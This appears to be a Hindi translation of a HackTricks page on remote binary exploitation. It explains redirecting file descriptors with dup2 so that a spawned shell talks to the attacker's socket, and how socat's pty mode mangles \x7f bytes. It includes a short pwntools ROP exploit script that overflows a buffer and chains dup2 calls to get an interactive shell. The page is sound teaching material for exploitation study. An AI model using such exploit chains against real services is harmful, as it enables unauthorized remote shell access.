2.9 KiB
सामान्य शोषण समस्याएँ
{{#include ../banners/hacktricks-training.md}}
दूरस्थ शोषण में FDs
जब एक दूरस्थ सर्वर को एक शोषण भेजा जाता है जो system('/bin/sh') को कॉल करता है, उदाहरण के लिए, यह सर्वर प्रक्रिया में निष्पादित होगा, और /bin/sh stdin (FD: 0) से इनपुट की अपेक्षा करेगा और stdout और stderr (FDs 1 और 2) में आउटपुट प्रिंट करेगा। इसलिए हमलावर शेल के साथ इंटरैक्ट नहीं कर पाएगा।
इसका एक समाधान यह है कि मान लिया जाए कि जब सर्वर शुरू हुआ, तो उसने FD संख्या 3 (सुनने के लिए) बनाई और फिर, आपका कनेक्शन FD संख्या 4 में होगा। इसलिए, यह संभव है कि syscall dup2 का उपयोग करके stdin (FD 0) और stdout (FD 1) को FD 4 (हमलावर के कनेक्शन वाला) में डुप्लिकेट किया जाए ताकि यह शेल से संपर्क करना संभव हो सके जब इसे निष्पादित किया जाए।
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
ध्यान दें कि socat पहले से ही stdin और stdout को सॉकेट पर स्थानांतरित करता है। हालाँकि, pty मोड DELETE वर्णों को शामिल करता है। इसलिए, यदि आप \x7f ( DELETE -) भेजते हैं, तो यह आपके एक्सप्लॉइट के पिछले वर्ण को हटा देगा।
इससे बचने के लिए escape character \x16 को भेजे गए किसी भी \x7f से पहले जोड़ा जाना चाहिए।
यहाँ आप इस व्यवहार का एक उदाहरण पा सकते हैं।
{{#include ../banners/hacktricks-training.md}}